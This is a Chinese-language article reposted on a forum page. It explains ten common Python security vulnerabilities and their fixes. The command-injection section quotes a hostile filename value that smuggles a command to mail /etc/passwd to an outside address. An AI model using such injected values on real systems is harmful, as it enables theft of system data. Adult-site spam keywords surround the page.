在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Python的安全問題,你必須注意!總結(jié)的10個Python常見安全漏洞

馬哥Linux運(yùn)維 ? 來源:未知 ? 作者:李倩 ? 2018-06-25 14:11 ? 次閱讀

編寫安全的代碼很困難,當(dāng)你學(xué)習(xí)一門編程語言、一個模塊或框架時,你會學(xué)習(xí)其使用方法。在考慮安全性時,你需要考慮如何避免代碼被濫用,Python也不例外,即使在標(biāo)準(zhǔn)庫中,也存在著許多糟糕的實例。然而,許多 Python 開發(fā)人員卻根本不知道這些。

以下是我總結(jié)的10個Python常見安全漏洞,排名不分先后。

1、輸入注入

注入攻擊影響廣泛且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串與變量混合。我讀過很多代碼,其中“引號字符轉(zhuǎn)義”被認(rèn)為是一種修復(fù),但事實并非如此,可以通過這個鏈接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能發(fā)生的方式。

命令注入有可能在使用 popen、subprocess、os.system 調(diào)用一個進(jìn)程并從變量中獲取參數(shù)時發(fā)生,當(dāng)調(diào)用本地命令時,有人可能會將某些值設(shè)置為惡意值。

下面是個簡單的腳本,使用用戶提供的文件名調(diào)用子進(jìn)程:

攻擊者會將filename的值設(shè)置為“; cat /etc/passwd | mail [email protected]或者其他同樣危險的值。

修復(fù)方法:

如果你使用了 Web 框架,可以用附帶的實用程序?qū)斎脒M(jìn)行清理,除非有充分的理由,否則不要手動構(gòu)建 SQL 查詢,大多數(shù) ORM 都有內(nèi)置的清理方法。

對于 shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

2、解析XML

如果您的應(yīng)用程序加載并解析XML文件,可能您正在使用一個XML標(biāo)準(zhǔn)庫模塊。有一些針對XML的常見攻擊。大多數(shù)為DoS風(fēng)格(旨破壞系統(tǒng)而不是盜取數(shù)據(jù))。這些攻擊很常見,特別是在解析外部(即不可信任的)XML文件時。

其中一種攻擊為“billion laughs”,因為加載的文件包含了很多個(數(shù)十億)“l(fā)ols”。你可以加載XML實體文件,當(dāng)XML解析器試圖將這個XML文件加載到內(nèi)存中時,會消耗很多個G的內(nèi)存。不信就試試看:-)

另一種攻擊使用外部實體擴(kuò)展。 XML支持從外部URL引用實體,XML解析器通常會直接獲取并加載該資源。“攻擊者可以繞開防火墻訪問保密資源,因為所有請求都是由內(nèi)部可信的IP地址創(chuàng)建的,請求不是來自于外部。”

需要考慮的另一種情況是您要依賴于第三方軟件包來解碼XML,例如配置文件,遠(yuǎn)程API。您甚至不知道您的某個依賴包已經(jīng)暴露在攻擊之下。

那么在Python中會發(fā)生什么?標(biāo)準(zhǔn)庫模塊etree,DOM,xmlrpc都容易遭受這些類型的攻擊。

修復(fù)方法:

直接用defusedxml(鏈接:https://pypi.org/project/defusedxml/)替換標(biāo)準(zhǔn)庫模塊。它增加了針對這類攻擊的安全防護(hù)。

3、Assert 語句

不要使用 assert 語句來防止用戶訪問特定代碼段。例如:

默認(rèn)情況下,Python 以 __debug__ 為 true 來執(zhí)行腳本,但在真實環(huán)境中,通常使用優(yōu)化運(yùn)行,這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼,而不管用戶是否是 is_admin 。

修復(fù)方法:

僅在單元測試中使用 assert 語句。

4、計時攻擊

計時攻擊本質(zhì)上是一種通過計算比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能針對 HTTP Web 服務(wù)器編寫計時攻擊。

但是,如果你的應(yīng)用程序有提示輸入密碼的命令行,攻擊者就可以編寫一個簡單的腳本來計算將其值與實際密碼進(jìn)行比較所需的時間。例子參考鏈接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/

這里有一個基于SSH計時攻擊的Python 工具,你可以看看如何使用它。

修復(fù)方法:

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

5、感染site-packages 或?qū)肼窂?/p>

Python的導(dǎo)入系統(tǒng)非常靈活。當(dāng)你為測試程序編寫猴子補(bǔ)丁,或者重載核心函數(shù)時,你會感覺非常方便。

但這也是Python最大的安全漏洞之一。

將第三方包安裝到site-packages中,無論是在虛擬環(huán)境中還是在全局site-packages中,你都將暴露在安全風(fēng)險中。

有一些發(fā)布到PyPi的包與流行的包具有相似的名稱,但是卻執(zhí)行了任意代碼。幸運(yùn)的是,這很可能沒有太大危害,只會“明確表示”這個問題沒有得到真正的解決。

需要考慮的另一種情況是多層依賴包。它們可能包含漏洞,它們也可以通過導(dǎo)入系統(tǒng)重寫Python默認(rèn)行為。

修復(fù)方法:

你可以利用PyUp.io這個網(wǎng)站提供的工具檢查你的第三方包。使用虛擬環(huán)境,確保您的全局site-packages盡可能干凈。檢查包簽名。

6、臨時文件

要在 Python 中創(chuàng)建臨時文件,你通常會使用 mktemp ( )函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。 “這是不安全的,因為另一個進(jìn)程可能會在調(diào)用 mktemp ( )和隨后嘗試通過第一個進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件。”這意味著應(yīng)用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。

如果調(diào)用不正確,最新版本的 Python 會發(fā)出運(yùn)行警告。

修復(fù)方法:

如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。(參考鏈接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)

7、使用 yaml.load

這里引用 PyYAML 的說明文檔:警告:使用不可信源的數(shù)據(jù)調(diào)用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強(qiáng)大,所以可以調(diào)用任何 Python 函數(shù)。

在流行的Python項目 Ansible 中找到的這樣一個例子(鏈接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以將此值提供給 Ansible Vault作為(有效的)YAML,它使用文件中提供的參數(shù)調(diào)用 os.system。

所以,從用戶提供的值中加載 YAML 文件會讓應(yīng)用大門洞開,很容易遭受攻擊。

修復(fù)方法:

總是使用 yaml.safe_load,除非你有其它更好的方法。

8、Pickle漏洞

用pickle反序列化數(shù)據(jù)和YAML一樣糟糕。在pickle對象時,Python類可以聲明一個名為__reduce__的魔術(shù)方法,該方法返回一個字符串、或一個元組。攻擊者可以使用它來引用其中一個子進(jìn)程模塊,在主機(jī)上運(yùn)行任意命令。

這有一個在Python2中pickle一個類并打開shell的例子(鏈接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法請看這個鏈接:https://lincolnloop.com/blog/playing-pickle-security/

修復(fù)方法:

切勿用pickle反序列化不受信任或未經(jīng)身份驗證的數(shù)據(jù)。改用另一種序列化模式,如JSON。

9、使用系統(tǒng)自帶的Python而不修補(bǔ)漏洞

大多數(shù)可移植操作系統(tǒng)都自帶Python2,通常還是舊版本。

由于“Python”,即CPython是用C語言編寫的,所以Python解釋器本身存在漏洞。 C語言中常見的安全問題與內(nèi)存分配有關(guān),所以存在緩沖區(qū)溢出錯誤。

多年來CPython出現(xiàn)了多個溢出漏洞,每個漏洞都在后續(xù)版本中進(jìn)行了修復(fù)。

也就是說,如果你修補(bǔ)了Python本身的漏洞,你就是安全的。

這里有一個Python2.7.13及以下版本的整數(shù)溢出漏洞實例,鏈接:https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17以前版本的Python漏洞請參看鏈接:https://distrowatch.com/table.php?distribution=ubuntu

修復(fù)方法:

安裝最新版本的Python并及時修補(bǔ)漏洞。

10、不修補(bǔ)依賴包的漏洞

類似于修補(bǔ)Python本身的漏洞,您還需要定期修補(bǔ)依賴包漏洞。有人習(xí)慣于使用PyPi軟件包的“固定”版本,這種做法很可怕。他們認(rèn)為“這些是有用的版本”,所以每個人都對漏洞置若罔聞。

上面提到的所有漏洞如果存在于你使用的包中,它們同樣很致命。這些軟件包的開發(fā)人員無時不刻不在解決安全問題。

修復(fù)方法:

使用類似于PyUP.io這個網(wǎng)站提供的服務(wù)去檢查更新,向應(yīng)用程序發(fā)送pull/merge 請求,運(yùn)行測試,讓軟件包保持更新。使用InSpec這樣的工具來驗證真實環(huán)境中的安裝版本,并確保修補(bǔ)了最小版本或多個連續(xù)版本的漏洞。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 代碼
    +關(guān)注

    關(guān)注

    30

    文章

    4874

    瀏覽量

    69940
  • python
    +關(guān)注

    關(guān)注

    56

    文章

    4821

    瀏覽量

    85774

原文標(biāo)題:注意!Python中的10個常見安全漏洞及修復(fù)方法

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    安全瀏覽器竟然也被查出高危漏洞?開源安全問題不容忽視

    由企業(yè)界、***界和學(xué)術(shù)界綜合參與的國際性組織,采取一種非盈利的組織形式,其使命是為了能更加快速而有效地鑒別、發(fā)現(xiàn)和修復(fù)軟件產(chǎn)品的安全漏洞。在風(fēng)險評估中最重要也是最困難的兩環(huán)節(jié)就是風(fēng)險的量化,以及
    發(fā)表于 09-05 14:26

    的數(shù)據(jù)安全么?Hadoop再曝安全漏洞| 黑客利用Hadoop Yarn資源管理系統(tǒng)未授權(quán)訪問漏洞進(jìn)行攻擊

    ,與之前Redis、CouchDB事件相比,Hadoop作為一分布式計算應(yīng)用程序框架,讓其更容易被“攻陷”,因為:Hadoop種類和功能繁多,各種組件安全問題,可能會帶來更大的攻擊面;針對某一薄弱
    發(fā)表于 05-08 16:52

    國產(chǎn)智能掃地機(jī)器人被曝存在安全漏洞,易隱私泄露

      導(dǎo)讀:安全研究人員發(fā)現(xiàn)智能機(jī)器人存在兩安全漏洞,導(dǎo)致其容易受到攻擊。第一漏洞可以讓黑客對設(shè)備擁有超級用戶權(quán)限,可以遠(yuǎn)程控制它們在家里
    發(fā)表于 07-27 09:29

    服務(wù)器租用常見安全漏洞

    服務(wù)器主機(jī)租用已經(jīng)不是什么稀罕的事情了,隨著這些年經(jīng)濟(jì)的進(jìn)步,也有著非常大的提高,租用服務(wù)器常見安全漏洞有哪些呢?這個是在主機(jī)租用的過程中必須注意的地方,下面跟隨香港服務(wù)器托管小編一
    發(fā)表于 10-23 16:17

    固件漏洞安全問題的解決辦法

    為各類應(yīng)用保駕護(hù)航。  Sentry解決方案包括可定制化的嵌入式軟件、參考設(shè)計、IP和開發(fā)工具,可加速實現(xiàn)符合NIST平臺固件保護(hù)恢復(fù)(PFR)指南的安全系統(tǒng)。    固件漏洞正逐年增加,安全問題
    發(fā)表于 09-07 17:16

    Python 中少為人知的 10 安全陷阱(上)

    極少的微妙之處或細(xì)節(jié)會使開發(fā)者們疏忽大意,從而在代碼中引入嚴(yán)重的安全漏洞。在這篇博文中,我們將分享在實際 Python 項目中遇到的 10 安全
    發(fā)表于 03-24 16:43

    Python 中少為人知的 10 安全陷阱(下)

    處理成兩查詢參數(shù),即“a=1”和“b=2”。這種查詢參數(shù)解析的差異可能會導(dǎo)致致命的安全漏洞,比如 Django 中的 Web 緩存投毒漏洞(CVE-2021-23336)。總結(jié)我們介
    發(fā)表于 03-24 16:46

    軟件安全漏洞的靜態(tài)檢測技術(shù)

    軟件安全漏洞問題日益嚴(yán)重,靜態(tài)漏洞檢測提供從軟件結(jié)構(gòu)和代碼中尋找漏洞的方法。該文研究軟件漏洞靜態(tài)檢測的兩主要方面:靜態(tài)分析和程序驗證,重點
    發(fā)表于 04-20 09:38 ?17次下載

    Intel發(fā)布補(bǔ)丁 修復(fù)vPro安全漏洞

    Intel發(fā)布補(bǔ)丁 修復(fù)vPro安全漏洞 近日來自波蘭的研究人員指出Intel基于芯片的安全保護(hù)措施存在安全漏洞,其TXT(可信賴執(zhí)行技術(shù))中的執(zhí)行錯誤
    發(fā)表于 12-24 09:06 ?709次閱讀
    Intel發(fā)布補(bǔ)丁 修復(fù)vPro<b class='flag-5'>安全漏洞</b>

    芯片漏洞頻出 網(wǎng)絡(luò)安全問題不容小視

    芯片 漏洞頻頻曝光 網(wǎng)絡(luò)安全危如累卵,當(dāng)然這里并不是單純談?wù)揅PU,而是來關(guān)注一下目前芯片安全問題。早在2018年初,Intel就被曝出其芯片存在技術(shù)缺陷導(dǎo)致重要安全漏洞
    發(fā)表于 03-27 14:02 ?1601次閱讀

    用哪種編程語言寫的應(yīng)用漏洞最嚴(yán)重 Java還是Python

    靜態(tài)代碼分析安全公司 Veracode 近日發(fā)布了一份應(yīng)用程序分析報告,結(jié)果發(fā)現(xiàn)比起 JavaScript 和 Python 等語言,C++ 和 PHP 的安全漏洞要嚴(yán)重得多。 如果
    的頭像 發(fā)表于 01-06 16:19 ?2448次閱讀

    NVIDIA已修復(fù)Windows和Linux的安全漏洞

    近日,英偉達(dá)發(fā)布了安全更新,以修復(fù)在Windows和Linux GPU顯示驅(qū)動程序中發(fā)現(xiàn)的6安全漏洞,以及影響英偉達(dá)虛擬GPU (vGPU)管理軟件的10
    的頭像 發(fā)表于 01-11 10:36 ?2428次閱讀

    Python中的十安全陷阱(一)

    Python 開發(fā)者們在使用標(biāo)準(zhǔn)庫和通用框架時,都以為自己的程序具有可靠的安全性。然而,在 Python 中,就像在任何其它編程語言中一樣,有一些特性可能會被開發(fā)者們誤解或誤用。通常而言,只有極少的微妙之處或細(xì)節(jié)會使開發(fā)者們疏忽
    的頭像 發(fā)表于 03-24 16:42 ?1389次閱讀

    Python項目中遇到的10安全陷阱

    極少的微妙之處或細(xì)節(jié)會使開發(fā)者們疏忽大意,從而在代碼中引入嚴(yán)重的安全漏洞。 在這篇博文中,我們將分享在實際 Python 項目中遇到的 10 安全
    的頭像 發(fā)表于 10-30 10:34 ?607次閱讀

    物聯(lián)網(wǎng)系統(tǒng)的安全漏洞分析

    隨著物聯(lián)網(wǎng)技術(shù)的快速發(fā)展,越來越多的設(shè)備被連接到互聯(lián)網(wǎng)上,從智能家居、智能城市到工業(yè)自動化,物聯(lián)網(wǎng)的應(yīng)用范圍不斷擴(kuò)大。然而,隨著物聯(lián)網(wǎng)設(shè)備的增多,安全問題也日益凸顯。 一、物聯(lián)網(wǎng)系統(tǒng)安全漏洞的成因
    的頭像 發(fā)表于 10-29 13:37 ?865次閱讀
    主站蜘蛛池模板: 一区二区三区四区在线 | 免费的毛片 | www欧美在线观看 | 天天碰免费视频 | 国产aaaaaaa毛片| 成熟女性毛茸茸xx免费视频 | 伊人久久大香线蕉综合高清 | 爽好舒服快小柔小说 | 天天干国产 | 最新eeuss影院第256页 | 亚洲综合成人网 | 亚洲国产一区二区在线 | 成人午夜在线观看国产 | 亚洲乱码一区二区三区在线观看 | 一级特黄aa大片免费 | 日韩一级免费视频 | 国产精品久久久久久久久久免费 | 狠狠操婷婷 | 免费jlzzjlzz在线播放视频 | 特黄aaaaa日本大片免费看 | 天天se天天cao综合网蜜芽 | 男人的天堂在线精品视频 | 亚洲成a人片77777kkk | 丁香花成人另类小说 | 奇米小说| 亚洲天堂亚洲天堂 | 久久久久无码国产精品一区 | 狠狠色噜噜狠狠狠狠98 | 人人玩人人添天天爽 | 黄www片| 五月天色丁香 | 狠狠色依依成人婷婷九月 | 57pao成人永久免费视频 | 成年人看的黄色 | 丁香花在线影院观看在线播放 | 精品久久天干天天天按摩 | 深爱婷婷激情网 | 美女爱爱网站 | 国产成人精品亚洲77美色 | 国产精品久久久久久久久久免费 | 如色网|